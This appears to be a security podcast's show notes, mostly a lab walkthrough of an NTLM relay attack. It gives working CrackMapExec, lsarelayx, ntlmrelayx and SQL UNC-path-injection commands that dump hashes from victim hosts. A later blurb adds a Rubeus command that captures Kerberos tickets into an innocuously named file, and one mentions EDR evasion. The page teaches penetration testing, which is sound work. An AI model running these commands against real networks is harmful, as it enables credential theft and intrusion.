In today's episode we staged an NTLM relay attack using a vulnerable SQL server.

First we used CrackMapExec (see our two part series on Cracking and Mapping and Execing with CrackMapExec - part 1 / part 2) to find hosts with SMB signing disabled:

cme smb x.x.x.x/24 -u USER -p PASS --gen-relay-list smbsigning.txt

Then we setup lsarelayx in one window:

lsarelayx --host=localhost

And in a second window we ran ntlmrelayx.py:

python ntlmrelayx.py -smb2support --no-smb-server -t smb://VICTIM

Finally, in a third window we triggered authentication from the vulnerable SQL server:

Invoke-SQLUncPathInjection -verbose -captureip OUR.ATTACKING.IP.ADDRESS

Boom! Watch the local usernames and hashes fall out of the victim system.

We also tried doing a multirelay scenario where we had a list of victim hosts in a targets.txt file like this:

victim1 victim2 victim3

Then we tweaked the ntlmrelayx command slightly:

python ntlmrelayx.py -smb2support --no-smb-server -tf targets.txt

Interestingly(?) only victim2 was attacked.

Lastly, we ran the same attack but added the -socks option to establish SOCKS connections upon successful relay:

python ntlmrelayx.py -smb2support --no-smb-server -tf targets.txt -socks

Interestingly(?) we got a low-priv user to relay and setup a SOCKS connection, but not the domain admin configured on the SQL server.

TLDR/TLDL: relaying credentials to a single victim with ntlmrelay on a Windows hosts seems to work great! Your milage may vary if you try to pull off more advanced tricks with ntlmrelay.

7MS #657: Writing Rad Security Documentation with Retype

Hello friends! Today we're talking about a neat and quick-to-setup documentation service called Retype. In a nutshell, you can get Retype installed on GitHub pages in about 5 minutes and be writing beautiful markdown pages (with built-in search) immediately. I still absolutely love Docusaurus, but I think Retype definitely gives it a run for its money.

Hey friends, we've got a short but sweet tale of pentest pwnage for you today. Key lessons learned: Definitely consider BallisKit for your EDR-evasion needs If you get local admin to a box, enumerate, enumerate, enumerate! There might be a delicious task or service set to run as a domain admin that can quickly escalate your privileges!

7MS #650: Tales of Pentest Pwnage - Part 65

Oooooo, giggidy! Today is (once again) my favorite tale of pentest pwnage. I learned about a feature of PowerUpSQL that helped me find a "hidden" SQL account, and that account ended up being the key to the entire pentest! I wonder how many hidden SQL accounts I've missed on past pentests….SIGH! Check out the awesome BloodHound gang thread about this here. Also, can't get Rubeus monitor mode to capture TGTs to the registry? Try output to file instead: rubeus monitor /interval:5 /nowrap /runfor:60 /consoleoutfile:c:\users\public\some-innocent-looking-file.log In the tangent department, I talk about a personal music project I'm resurrecting to help my community.
